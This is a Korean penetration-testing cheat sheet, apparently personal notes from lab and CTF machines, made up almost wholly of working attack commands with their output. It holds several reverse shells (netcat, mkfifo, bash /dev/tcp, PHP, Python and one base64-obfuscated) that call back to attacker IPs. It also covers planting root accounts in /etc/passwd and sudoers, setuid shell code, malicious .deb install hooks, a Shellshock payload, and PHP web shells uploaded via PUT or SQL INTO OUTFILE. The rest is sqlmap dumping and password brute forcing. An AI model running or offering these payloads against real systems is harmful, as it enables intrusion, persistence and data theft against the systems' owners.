Serving HTTP on 0.0.0.0 port 7979 ...
2. 대상 서버 자원 경로 지정 없이 파일명만 입력.
┌──(root💀takudaddy)-[/attack]
└─# wget http://192.168.10.20:4444/statuscheck
--2021-03-27 00:42:22-- http://192.168.10.20:4444/statuscheck
Connecting to 192.168.10.20:4444... connected.
HTTP request sent, awaiting response... 200 OK
Length: 8640 (8.4K) [application/octet-stream]
Saving to: ‘statuscheck.1’
statuscheck.1 100%[================>] 8.44K --.-KB/s in 0s
2021-03-27 00:42:22 (367 MB/s) - ‘statuscheck.1’ saved [8640/8640]
정상적으로 받아졌고 정상적으로 돌아감
no tty
> bash
> python -c 'import pty................
해주면 해결됨
0. netcat
침투 서버에서 포트 열어줄 때
echo | nc -e 192.168.10.10 7979
echo && nc -e 192.168.10.10 7979
$ nc -e /bin/sh 192.168.20.1 7979 or $ bash -i >& /dev/tcp/192.168.10.10/7979 0>&1
p0wny@shell:…/html/debug# nc -e /bin/sh 192.168.20.1 7979
nc: invalid option -- 'e'
usage: nc [-46CDdFhklNnrStUuvZz] [-I length] [-i interval] [-M ttl]
[-m minttl] [-O length] [-P proxy_username] [-p source_port]
[-q seconds] [-s source] [-T keyword] [-V rtable] [-W recvlimit] [-w timeout]
[-X proxy_protocol] [-x proxy_address[:port]] [destination] [port]
위처럼 nc 버전중에 -e 옵션
지원안하는 경우가 있다.
그런 경우 아래 방법 사용.
1. fifo payload 만들기
# msfvenom -p cmd/unix/reverse_netcat LHOST=192.168.10.4 LPORT=7979
> 파일 생성하면 아래와 같이 침투 서버에서 입력 할 커맨드가 나온다.
> Payload size: 102 bytes
> mkfifo /tmp/rbpwxzv; nc 192.168.10.4 7979 0</tmp/rbpwxzv | /bin/sh >/tmp/rbpwxzv 2>&1; rm /tmp/rbpwxzv
> 위 커맨드를 절대 수정하지 말고 그대로 입력해 파일에 넣어준다.
> echo "위 커맨드" >> attack
┌──(root💀takudaddy)-[~]
└─# msfvenom -p cmd/unix/reverse_netcat LHOST=192.168.20.1 LPORT=7979
[-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload
[-] No arch selected, selecting arch: cmd from the payload
No encoder specified, outputting raw payload
Payload size: 94 bytes
mkfifo /tmp/zydqc; nc 192.168.20.1 7979 0</tmp/zydqc | /bin/sh >/tmp/zydqc 2>&1; rm /tmp/zydqc
리스너 기동시키고
┌──(root💀takudaddy)-[~]
└─# nc -lnvp 7979 2 ⚙
listening on [any] 7979 ...
침투서버에 명령어 복사해 실행기키면
p0wny@shell:…/html/debug# mkfifo /tmp/zydqc; nc 192.168.20.1 7979 0</tmp/zydqc | /bin/sh >/tmp/zydqc 2>&1; rm /tmp/zydqc
성공!
1-1 침투서버에서 mkfifo 생성
$ rm /tmp/f ; mkfifo /tmp/f ; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.20.1 7979 > /tmp/f
(위 명령어로 접속은 되는데 출력이 암것도 안될때 아래 명령어로 다시 실행)
$rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.20.1 7979 >/tmp/f
rm /tmp/f ; mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.20.1 7979 > /tmp/f
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.20.1 7979 >/tmp/f
nc 로 매 분마다 실행되는 파일에 넣어줄때
blumbergh@Breach:~$ echo "nc -e /bin/bash 192.168.110.4 4444" | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh
e /usr/share/cleanup/tidyup.sh110.4 4444" | sudo /usr/bin/te
nc -e /bin/bash 192.168.110.4 4444
blumbergh@Breach:~$ cat /usr/share/cleanup/tidyup.sh
cat /usr/share/cleanup/tidyup.sh
nc -e /bin/bash 192.168.110.4 4444
blumbergh@Breach:~$
echo “echo “milton ALL=(ALL) ALL” > /etc/sudoers” > /etc/init.d/portly.sh
echo "echo 'milton ALL=(ALL)ALL' > /etc/sudoers" > /etc/init.d/portly
재부팅 해야함
2. 파이썬 암호화 작업
$ python -c 'import crypt;print(crypt.crypt("takudaddy", "t4kud4ddy")'
ID : 암거나 상관없음
PW : takudaddy (앞에 것이 비번)
구조로 만들면 :
root : x : 0 : 0 : root : /home/root : /bin/bash
사용자명 : 암호 : UID : GID : 계정이름정보 : 사용자홈디렉터리 : 사용자로그인 쉘
takudaddy:t4DFty0rjIKnU:0:0:takudaddy:/root:/bin/bash
이걸 파일에 담아주고 ($ echo "위 passwd폼" > addnewuser.txt)
/etc/passwd에 넣어주면 끝
(잘 들어갔는지 확인 $ tail -1 /etc/passwd)
┌──(root💀takudaddy)-[/var/www/html]
└─# python -c 'import crypt;print(crypt.crypt("test","isthis"))'
isb/.PQAI1U/I
같은 암호로 서로 다른이름의 유저 2개 생성
testuser / testuser2
암호 = test
┌──(root💀takudaddy)-[/var/www/html]
└─# tail -2 passwd
testuser:isb/.PQAI1U/I:0:0:root:/root:/bin/bash
testuser2:isb/.PQAI1U/I:0:0:root:/root:/bin/bash
sh-4.2$ su testuser
su testuser
Password: test
id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:httpd_t:s0
exit
sh-4.2$ su testuser2
su testuser2
Password: test
id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:httpd_t:s0
┌──(root💀takudaddy)-[~]
└─# python -c 'import crypt;print(crypt.crypt("pass","pass"))'
pauONM/HSu9pM
┌──(root💀takudaddy)-[/var/www/html]
└─# tail -2 passwd
pass:pauONM/HSu9pM:0:0:root:/root:/bin/bash
try:pauONM/HSu9pM:0:0:root:/root:/bin/bash
pass&try 유저 암호가 pass
sh-4.2$ su try
su try
Password: pass
id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:httpd_t:s0
exit
┌──(root💀takudaddy)-[/var/www/html]
└─# python -c 'import crypt;print(crypt.crypt("taku","t4ku"))'
t48dTSVy8wS02
taku:t48dTSVy8wS02:0:0:root:/root:/bin/bash
taku 유저 암호가 taku
sh-4.2$ su taku
su taku
Password: taku
id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:httpd_t:s0
id
ssl 스캐너
# sslyze 10.10.10.79:443
3. openssl 암호화 작업
# openssl passwd -6 -salt taku t4kud4ddy
ID : 암거나 상관없음
PW : t4kud4ddy (뒤에 것이 비번)
$6$taku$mfkFJFFPjfmnsdf9874/kashfkjhi98349afkjas.dkl998DD41
이걸 파일에 담아주고 ($ echo "위 폼" > newssluser.txt
/etc/passwd에 넣어주면 끝
(잘 들어갔는지 확인 $ tail -1 /etc/passwd)
openssltest 유저 암호로 아래 키 사용
┌──(root💀takudaddy)-[/var/www/html]
└─# openssl passwd -6 -salt test t4ku
$6$test$gBD1Cpk4Bcf7XiTR8yMWVBIcz1yJijUA8C1tJy5XI2ln7H9UDIkrvtsgXCRjs4JI0SpteNCgYkXbte32IlG9t0
┌──(root💀takudaddy)-[/var/www/html]
└─# tail -1 passwd
openssltest:$6$test$gBD1Cpk4Bcf7XiTR8yMWVBIcz1yJijUA8C1tJy5XI2ln7H9UDIkrvtsgXCRjs4JI0SpteNCgYkXbte32IlG9t0:0:0:root:/root:/bin/bash
sh-4.2$ su openssltest
su openssltest
Password: t4ku
id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:httpd_t:s0
3-1 openssl로 암호 생성 간단한 버전
$ openssl passwd -1
brexit@misdirection:/var/www/html/debug$ openssl passwd -1
openssl passwd -1
Password: taku
Verifying - Password: taku
$1$h38T/w4Z$E7H9ArpDINBGSdVTTkpxm1
brexit@misdirection:/var/www/html/debug$ su
su
Password: taku
혹은 위 키를 사용해 유저 만들어도 됨.
echo "takudaddy:$1$awJ3ztsa$T.kEm0MkiAQpGwdVRQskg/:0:0:root:/root:/bin/bash" >> /etc/passwd
일부 커널에서는 특수기호를 인식을 못하니
$ 싸인 앞에 역슬래쉬 넣어줘야 한다!
echo "master:\$1\$OJ.VOZR2\$l4Xu6mUiPoA/exCFn1U15.:0:0:root:/root:/bin/bash" >> /etc/passwd
4. 마운트 가능한 상황
타킷서버에서 /etc/passwd 파일로 UID GID 값 확인
로컬서버에서 동일한 값을 가진 유저 생성
# useradd -u 2008 vulnix
해당 유저로 전환 후 마운트 자원에 접근
5.Shell code :
# echo "awk 'BEGIN {system(\"/bin/bash\")}'" > attack
타켓 서버에 올려두고 실행시키면 됨
6. Shell code :
6-1) 공격자측에서 생성시
# vi root.c
int main(void){
setuid(0); setgid(0);
system("/bin/sh");
}
: 타깃측에서 받을때
$ wget http://192.168.20.4/root.c
6-2) 타깃측 서버에서 생성시
$ echo 'int main(void)' > test.c
echo '{ ' >> test.c
echo 'setgid(0);' >> test.c
echo 'setuid(0);' >> test.c
echo 'execl("/bin/sh", "sh", 0);' >> test.c
echo '}' >> test.c
7. chrootkit
전제) reverse_tcp로 세션 연결이 되어 있는 상황
meterpreter> background (현재 세션을 유지한 상태에서 다른 작업이 가능하도록 백그라운드로 돌림)
meterpreter> use exploit/unix/local/chrootkit
msf> set SESSION 1
msf> set LHOST 192.168.20.4
msf> set LPORT 8080
msf> set payload cmd/unix/reverse
msf> exploit
접속 후 주요 명령어 :
$ python -c 'import pty;pty.spawn("/bin/bash")'
7-2) 안될 수 있음
$ echo '#!/bin/bash' > update
$ echo 'chown root /tmp/test' >> update
$ echo 'chgrp root /tmp/test' >> update
$ echo 'chmod u+s /tmp/test' >> update
$ echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update
$ ls -ls /etc/sudoers
7-3) 받은 파일 컴파일
$ gcc -o root root.c
7-4)update 파일 권한 부여
$ chmod +x update
7-5) 데일리 크론탭 실행
$ run-parts /etc/cron.daily
7-6) 쉘 코드 실행
$./root
8. $ echo "/home/admin/chmod -R 777 /home/admin" > /tmp/runthis
9. $ sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom /bin/bash
10. mysql 사용 가능한 경우
$ mysql -u root
암호 없는 경우 바로 접속됨
> use mysql;
>
$ sudo mysql -e \! /bin/bash
mysql 접속한 상태에서 bash shell 실행
MariaDB [(none)]> \! whoami
\! whoami
root
MariaDB [(none)]> \! /bin/bash (-i 옵션 넣어도 됨)
\! /bin/bash
root@symfonos2:/opt/librenms/html# id
id
uid=0(root) gid=0(root) groups=0(root)
root@symfonos2:/opt/librenms/html#
아니면 mysql 접속 안하고 바로 실행
cronus@symfonos2:/$ sudo /usr/bin/mysql -e "\! /bin/bash" (sudo mysql -e '\! /bin/bash')
sudo mysql -e "\! /bin/bash"
11. dpkg 생성 방법
┌──(root💀takudaddy)-[/attack]
└─# apt -y install ruby ruby-dev rubygems build-essential
┌──(root💀takudaddy)-[~]
└─# gem install --no-document fpm 127 ⨯
Successfully installed fpm-1.12.0
1 gem installed
┌──(root💀takudaddy)-[~]
└─# fpm -v
1.12.0
# fpm -s dir -t deb -n taku_attack2 --before-install shell2.c .
1. 쉘 생성 (혹시 모르니 두 개 만든다)
┌──(root💀takudaddy)-[/attack]
└─# cat shell.c
# include <stdio.h>
# include <sys/types.h>
# include <unistd.h>
int main(void){
setuid(0);
setgid(0);
system("/bin/bash");
}
┌──(root💀takudaddy)-[/attack]
└─# cat shell2.c
#!/bin/bash
/bin/bash
2. deb 파일 생성 (패키지도 동일하게 두 개 생성)
┌──(root💀takudaddy)-[/attack]
└─# fpm -s dir -t deb -n taku_attack --before-install shell.c .
Debian packaging tools generally labels all files in /etc as config files, as mandated by policy, so fpm defaults to this behavior for deb packages. You can disable this default behavior with --deb-no-default-config-files flag {:level=>:warn}
Created package {:path=>"taku-attack_1.0_amd64.deb"}
┌──(root💀takudaddy)-[/attack]
└─# fpm -s dir -t deb -n taku_attack2 --before-install shell2.c .
Debian packaging tools generally labels all files in /etc as config files, as mandated by policy, so fpm defaults to this behavior for deb packages. You can disable this default behavior with --deb-no-default-config-files flag {:level=>:warn}
Created package {:path=>"taku-attack2_1.0_amd64.deb"}
dpkg
fpm 명령어 옵션
-s = source type
-t = target type
-n = package name
--before-install = 실행시간
$ sudo -u root /usr/bin/dpkg -i attack_1.0_amd64.deb
12. php reverse connection CMD
$ echo "php -r '$sock=fsockopen("192.168.10.10",8989);exec("/bin/sh -i <&3 >&3 2>&3");'" >> write.sh
$ echo "php -r '\$sock=fsockopen(\"192.168.10.10\",8989);exec(\"/bin/sh -i <&3 >&3 2>&3\");'" >> write.sh
13. tcpdump
User blumbergh may run the following commands on breach2:
(root) NOPASSWD: /usr/sbin/tcpdump
blumbergh@breach2:/home/bill$ echo -e "cp /bin/sh /home/bill/sh_suid\nchmod 7555 /home/bill/sh_suid" > tmpfile
blumbergh@breach2:/home/bill$ ls
tmpfile
blumbergh@breach2:/home/bill$ chmod +x tmpfile
blumbergh@breach2:/home/bill$ sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z ./tmfile -Z root
dropped privs to root
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
Maximum file limit reached: 1
blumbergh@breach2:/home/bill$ ls -l /home/bill/sh_suid
-r-sr-sr-t 1 root root 125400 Aug 31 11:56 /home/bill/sh_suid
blumbergh@breach2:/home/bill$ /home/bill/sh_suid
# whoami
root
vi 제대로 안 될때
문구 삽입
penguin@glasgowsmile:~/SomeoneWhoHidesBehindAMask$ cat > .trash_old << EOF
cat > .trash_old << EOF
> nc -e /bin/bash 192.168.20.1 8888
nc -e /bin/bash 192.168.20.1 8888
> EOF
#######################################################################
* Web / DB
#######################################################################
0. scanning
# dirb http://IP
# dirb http://IP /usr/share/wordlists/dirb.common.txt -X .txt,.html,.php
# wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 http://IP/Fuzz
# wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 --hw 12 http://IP/index.php?Fuzz
# gobuster dir -u http://192.168.10.22/cgi-bin -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
# gobuster dir -f -t 50 -x html -u http://192.168.10.22/cgi-bin -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
ShellShcok (cgi-bin)
scan :
$ gobuster dir -u http://10.11.1.71 -w /usr/share/seclists/Discovery/Web-Content/CGIs.txt -s '200,204,403,500' -e
# curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'id'" http://192.168.10.22/cgi-bin/underworld
┌──(root💀takudaddy)-[/attack]
└─# curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'id'" http://192.168.10.22/cgi-bin/underworld
uid=1001(cerberus) gid=1001(cerberus) groups=1001(cerberus),33(www-data),1003(pcap)
히든 포트 확인할 때
# nc 192.168.10.34 22222
이미지 내용 확인 툴 exiftool
# exiftool bill.png
┌──(root💀takudaddy)-[~]
└─# exiftool bill.png
ExifTool Version Number : 12.16
File Name : bill.png
Directory : .
File Size : 315 KiB
File Modification Date/Time : 2016:06:05 08:35:33+09:00
File Access Date/Time : 2021:04:06 12:47:54+09:00
File Inode Change Date/Time : 2021:04:06 12:47:48+09:00
File Permissions : rw-r--r--
File Type : PNG
File Type Extension : png
MIME Type : image/png
Image Width : 610
Image Height : 327
Bit Depth : 8
Color Type : RGB with Alpha
Compression : Deflate/Inflate
Filter : Adaptive
Interlace : Noninterlaced
Warning : [minor] Text chunk(s) found after PNG IDAT (may be ignored by some readers)
Comment : coffeestains
Image Size : 610x327
Megapixels : 0.199
┌──(root💀takudaddy)-[~]
└─# exiftool bill.png | grep -i -e 'File name' -e 'Comment'
File Name : bill.png
Comment : coffeestains
1. Web 공략법
# curl -v http://IP
1-1) http Method 확인 : PUT COPY 등등의 명령어 사용이 가능한지 확인
# curl -v -X OPTIONS http://192.168.20.3/test
# nmap 192.168.20.3 -p 80 --script http-methods --script-args http-methods.url-path='/test'
1-2) PUT 사용 가능시 확장자(php) 필터링이 되고 있는지 확인 :
# curl -v -X PUT -d "testing 1 2 3" http://192.168.20.3/test/test.txt
# curl -v -X PUT -d "<?php phpinfo();?>" http://192.168.20.3/test/test.php
1-3) php cmd 업로드
# curl -X PUT -d "<?php system($_GET["cmd"]);?>" http://192.168.20.3/test/cmd.php
> 올라간 후 파일 클릭 > url에 '?cmd=id', '?cmd=which%20nc' > netcat 있는지 여부 확인 할 것!
> 그리고 배쉬쉘 실행되는지도 확인 :
# curl http://192.168.20.3/test/cmd.php?cmd=nc+192.168.20.3+5000+-e+%2Fbin%2Fbash
1-4) Payload 만들기 :
* weevely
# weevely generate passwd /attack/backdoor.php
* 업로드
# nmap 192.168.20.3 -p 80 --script http-put --script-args http-put.url='/test/shell.php',http-put.file='/attack/backdoor.php'
* 접속
# weevely http://192.168.20.3/test/shell.php passwd
or
1-5) Payload 만들기 2 :
* msfvenom
# msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.20.4 LPORT=443 -f raw > shell.php (*들어가 주석 제거할 것!)
(/usr/share/webshells/php에 기본 쉘 코드도 있다)
* 공격파일 업로드
# nmap 192.168.20.3 -p 80 --script http-put --script-args http-put.url='/test/shell.php',http-put.file='/attack/shell.php'
1-6) 리스터 생성 : 아래 과정없 곧장 msfconsole 들어가 해도 됨.
# cat <<EOF>> listener.rc
> use exploit/multi/handler
> set payload php/meterpreter/reverse_tcp
> set LHOST 192.168.20.4
> set LPORT 443
> set ExitSession false
> exploit
> EOF
1-7) 리스너 기동 :
# msfconsole -q -r listener.rc
1-8) 연결
* 파일 클릭시 자동 연결 or
# curl -v http://192.168.20.3/test/shell.php
접속 후 주요 명령어 :
$ python -c 'import pty;pty.spawn("/bin/bash")'
$ sudo /bin/bash
$ sudo -l
$ export TERM=vt100
$ export TERM=xterm-256color
접속 후 LinuxPrivEnum.sh 돌리기!
(crontab 확인 중요!)
nmap 취약점 스캔 scan
# nmap --script vuln -oA vulnscan 10.10.10.79
2. RFI / LFI
> 로컬 apache2 서버 기동
> 로컬 /var/www/html에 공격 파일 올려두기
> 로컬 리스너 기동 (nc / msfconsole)
> 로컬 python simple http request handler 실행
# python -m SimpleHTTPServer 4444 (# python3 -m http.server 4444)
> 트리거 당기기
> nc -e /bin/sh 192.168.10.10 7979
or
> bash -i >& /dev/tcp/192.168.10.10/7979 0>&1 (command execution 가능한 상황)
> echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwLjEwLzc5NzkgMD4mMQ== | base64 -d | bash
echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwLjEwLzc5NzkgMD4mMQ==" | base64 -d | bash
3. sql injection tool : sqlmap 사용법
3-1) burpsuite에서 Request 부분을 복사해 파일에 담는다.
POST /results.php HTTP/1.1
Host : 192.168.10.8
User-Agent: Mozilla/5.0
....중략....
name=asdf%23&pass=
> request.txt
3-2) DB 목록 확인
# sqlmap -r request.txt --dbs --batch
3-3) Table 목록 확인
# sqlmap -r request.txt --tables --batch
3-4) 컬럼/스키마 목록 확인 (보통 이건 패스)
# sqlmap -r request.txt --columns --batch
# sqlmap -r request.txt --schema --batch
3-5) 현 DB 확인
# sqlmap -r request.txt --current-db --batch
3-6) 현 user 확인
# sqlmap -r request.txt --current-user --batch
3-7) DB 데이터 덤프 (젤 중요)
# sqlmap -r request.txt -D dbname --dump-all --batch
# sqlmap -r req4.txt -D oscommerce -tables -dump --batch
┌──(root💀takudaddy)-[/study]
└─# sqlmap --url http://192.168.10.48/openemr/interface/login/validateUser.php?u= --dbs --batch
┌──(root💀takudaddy)-[/study]
└─# sqlmap --url http://192.168.10.48/openemr/interface/login/validateUser.php?u= --tables --batch
┌──(root💀takudaddy)-[/study]
└─# sqlmap --url http://192.168.10.48/openemr/interface/login/validateUser.php?u= -D openemr -T users --dump --batch
# sqlmap --url 'http://192.168.10.114/history.php?user=admin' --cookie="PHPSESSID=8nsdb4ue0bi7g7hjaju33tjfvd" --dump --batch
파일 다운받기
# sqlmap -r req.txt --file-read /etc/passwd
┌──(root💀takudaddy)-[/study]
└─# sqlmap --level=5 --risk=3 --url=http://pinkys-palace:8080/littlesecrets-main/login.php --proxy=http://192.168.10.41:31337 --data="user=a&pass=a" --dump all --batch
┌──(root💀takudaddy)-[/study]
└─# sqlmap --level=5 --risk=3 --url=http://192.168.10.45:1337/978345210/index.php --data="username=legolas&password=a&submit=+login+" --dump all --batch
4. mysql 커맨드 : 유저 + 비번 알아야 함
# mysql -u user -p -h 192.168.20.30
password : passwd
> show databases;
> use wordpress;
> show tables;
> select * from wp_users;
# mysql 접속 후 커맨드 실행
> \! whoami
> \! /bin/bash (-i)
MariaDB [(none)]> \! whoami
\! whoami
root
MariaDB [(none)]> \! /bin/bash (-i 옵션 넣어도 됨)
\! /bin/bash
root@symfonos2:/opt/librenms/html# id
id
uid=0(root) gid=0(root) groups=0(root)
root@symfonos2:/opt/librenms/html#
4-1) phpmyadmin으로 접속 가능할 시 : 유저 + 비번 알아야 함
> 원하는 테이블 항목을 CSV 형식 파일로 받을 수 있다.
> 받아서 읽기
> 사용자 항목 파일 경우, 일반적으로 첫 번째 유저가 관스리자인 경우가 많음.
> 브루트 포스 패스워드 어택 하기위해 유저 아이디 '대소문자' 모두 리스트로 만들기
원하는 필드만 추출 : # cat wp_users.csv | awk -F, '{print $2}' | awk -F\" '{print $2}'
> hydra로 돌리기
# hydra -L users.txt -p plkac ssh://192.168.20.30
> ID / PW 찾았으면 ssh로 접속
# ssh -l zoe 192.168.20.30
> .bash_history 뒤지기
$ ssh peter@localhost
phpmyadmin
select "<?php exec(\"/bin/bash -c \'bash -i >& /dev/tcp/192.168.10.10/7979 0>&1\'\");" into outfile "/var/www/html/uploads/shell.php"
올리고 nc로 리스너 대기
/uploads/shell.php 연결하면 붙는다.
http://192.168.10.38/uploads/shell.php
위 처럼 했는데 에러나는 경우
SELECT "<?php system($_GET['cmd']); ?>" into outfile "/var/www/html/wordpress/backdoor.php"
경로 지정 후 명령어 입력
?cmd=nc -e /bin/bash 192.168.10.10 7979
5. wordpress 스캔 : 플러그인 확인
# wpscan --disable-tls-checks --url https://192.168.20.30:12380/blogblog --enumerate vt,vp,u,dbe
# wpscan --disable-tls-checks --url https://192.168.20.30:12380/blogblog --enumerate ap
아이디 찾고 비번 bruteforce
# wpscan --url http://192.168.10.32/wordpress -e at -e ap -e u
# wpscan --url http://192.168.10.32/wordpress -U 유저명 -P /usr/share/wordlists/rockyou.txt
# wpscan --url http://lemonsqueezy/wordpress --usernames lemon,orange -P /usr/share/wordlists/rockyou.txt
┌──(root💀takudaddy)-[/attack]
└─# wpscan --url http://192.168.10.32/wordpress -U c0rrupt3d_brain -P /usr/share/wordlists/rockyou.txt
[!] Valid Combinations Found:
| Username: c0rrupt3d_brain, Password: 24992499
5-1) wordpress advanced video 1.0 (39646.py)
> 코드 url 수정해야함
> 카피본 만들어 작업 진행 : 비교 커맨드
# diff -ruN attack.py attack.orig.py
> 페이지 url에 붙여넣는 작업을 하는 경우 탭을 두개 띄워 하나는 정상 접속 상태유지, 공격은 다른 탭에서 작업한다!
5-2) 업로드 되어있는 파일 읽기
# curl -k https://192.168.20.30/blogblog/wp-content/uploads/19283746.jpeg
6. redirection (burp) 조작
7. 포트 포워딩
#
# ssh -L 7979:127.0.0.1:8080 aeolus@192.168.10.22
브라우저에서
http://127.0.0.1:7979 로 접속
or
상대 서버에서
$ socat TCP-LISTEN:7979,fork TCP:127.0.0.1:8080
브라우저에서
http://상대IP:7979
Caeolus@symfonos2:~$ socat TCP-LISTEN:7979,fork TCP:127.0.0.1:8080
8. 파이썬 url 리버스 쉘 생성 CMD python
원본 :
python3 -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.1.10”,7979));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’
url encoding :
%20python3%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22192.168.10.10%22,7979));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);%27
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.20.1",7979));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
################################################################################
* Encrypt / Decrypt / Hash / 암호화
################################################################################
1. 해쉬 종류 확인 방법
# Hash-identifier [hash]
# hashid
2. 해쉬 복호화 사이트 : base64
hashkiller.io / hashes.com
3. 해쉬 복호화 사이트 : MD5
4. john window hash crack (윈도우 해쉬 크랙)
$ cat hash.txt
WDAGUtilityAccount:0c509cca8bcd12a26acf0d1e508cb028
Offsec:2892d26cdf84d7a70e2eb3b9f05c425e
$ sudo john hash.txt --format=NT
$ john --rules --wordlist=/usr/share/wordlists/rockyou.txt hash.txt --format=NT
5. unshadow (리눅스)
$ unshadow paswd_file.txt shadow.txt
$ unshadow passwd_file.txt shadow_file.txt > unshadowed.txt
$ john --rules --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt
4. Base64 인코딩 코드 (https://blog.naver.com/takudaddy/222163306373)
import base64, codecs, sys
def encodestring(str):
base64string = base64.b64encode(str)
return codecs.encode(base64string[::-1], 'rot13')
cryptoResult=encodeString(sys.argv[1])
print(cryptoResult)
5. Base64 디코딩 코드
import base64, codecs, sys
def decodeString(str):
decode = codecs.decode(str[::-1], 'rot13')
return base64.b64decode(decode)
cryptoResult=decodeString(sys.argv[1])
print(cryptoResult)
6. 복호화 코드
import codecs
str = '복호화할 암호코드'
str = codecs.decode(str, 'rot13')
str = str[::-1]
str = codecs.decode(str, 'base64')
print(str)
7. md5 암호화 하기
# echo -n takudaddy | md5sum
8. crunch 로 예상 암호 만들기
샘플
대문자 | 소문자 2개 | 특수문자 2개 | 숫자 3개 = 8글자
# crunch 8 8 -t ,@@^^%%% > 160기가 ;;
# crunch 4 6 0123456789AABCDEF -o crunch.txt
캐릭터 세트
# crunch 4 6 -f /usr/share/crunch/charset.lst mixalpha -o crunch.txt
# crunch 13 13 -t bev,%%@@^1955 -o /study/crack
bev[A-Z][0-9][0-9][a-z][a-z][symbol]1955
대문자 = ,
소문자= @
숫자 = %
특수문자 = ^
┌──(root💀takudaddy)-[~]
└─# crunch 13 13 -t bev,%%@@^1955 -o /study/crack.pass
암호문 이용해 hydra 브루트 포스!
Medusa
# medusa -h 192.168.10.10 -u admin -P /usr/share/wordlists/rockyou.txt -M http -m DIR:/admin
crowbar
9. zip파일 암호 푸는 툴
# fcrackzip -v -D -u -p crack.pass /root/Downloads/t0msp4ssw0rdz.zip
10. keytool 사용법 : certificate 인증 문제
# keytool -list -v -keystore key
암호화 되어있기 때문에 비번 알아야 하고
비번은 strings로 파일 살펴보면 있음
┌──(root💀takudaddy)-[/study]
└─# cp .keystore key 3 ⚙
┌──(root💀takudaddy)-[/study]
└─# ls 3 ⚙
key _SSL_test_phase1.pcap
┌──(root💀takudaddy)-[/study]
└─# keytool -list -v -keystore key 3 ⚙
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Enter keystore password: tomcat
Keystore type: JKS
Keystore provider: SUN
Your keystore contains 1 entry
Alias name: tomcat
Creation date: May 21, 2016
Entry type: PrivateKeyEntry
Certificate chain length: 1
Certificate[1]:
Owner: CN=Unknown, OU=Unknown, O=Unknown, L=Unknown, ST=Unknown, C=Unknown
Issuer: CN=Unknown, OU=Unknown, O=Unknown, L=Unknown, ST=Unknown, C=Unknown
Serial number: 60856e88
Valid from: Sat May 21 02:51:07 KST 2016 until: Fri Aug 19 02:51:07 KST 2016
Certificate fingerprints:
SHA1: D5:D2:49:C3:69:93:CC:E5:39:A9:DE:5C:91:DC:F1:26:A6:40:46:53
SHA256: F0:4A:E8:7F:52:C1:78:B4:14:2B:4D:D9:1A:34:31:F7:19:0A:29:F6:0C:85:00:0B:58:3A:37:20:6C:7E:E6:31
Signature algorithm name: SHA256withRSA
Subject Public Key Algorithm: 2048-bit RSA key
Version: 3
Extensions:
#1: ObjectId: 2.5.29.14 Criticality=false
SubjectKeyIdentifier [
KeyIdentifier [
0000: 47 6B A3 37 ED A5 1F 0A 0D 61 CA AA 17 9C F4 8C Gk.7.....a......
0010: 10 64 87 DF .d..
Warning:
The JKS keystore uses a proprietary format.
It is recommended to migrate to PKCS12 which is an industry standard format using
"keytool -importkeystore -srckeystore key -destkeystore key -deststoretype pkcs12".
pkcs12 형태로 변환시켜야 하며
마지막줄에 사용법 나옴
# keytool -v -importkeystore -srckeystore key -srcalias tomcat -destkeystore newkey -deststoretype PKCS12
┌──(root💀takudaddy)-[/study]
└─# keytool -v -importkeystore -srckeystore key -srcalias tomcat -destkeystore newkey -deststoretype PKCS12
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Importing keystore key to newkey...
Enter destination keystore password:
Re-enter new password:
Enter source keystore password: tomcat
[Storing newkey]
┌──(root💀takudaddy)-[/study]
└─# ls 3 ⚙
key newkey _SSL_test_phase1.pcap
인증 키 확인 방법
# openssl pkcs12 -in newkey -nocerts -nodes
┌──(root💀takudaddy)-[/study]
└─# openssl pkcs12 -in newkey -nocerts -nodes 3 ⚙
Enter Import Password:
Bag Attributes
friendlyName: tomcat
localKeyID: 54 69 6D 65 20 31 36 31 37 35 39 38 36 37 32 38 30 36
Key Attributes: <No Attributes>
-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQCjJXnELHvCEyTT
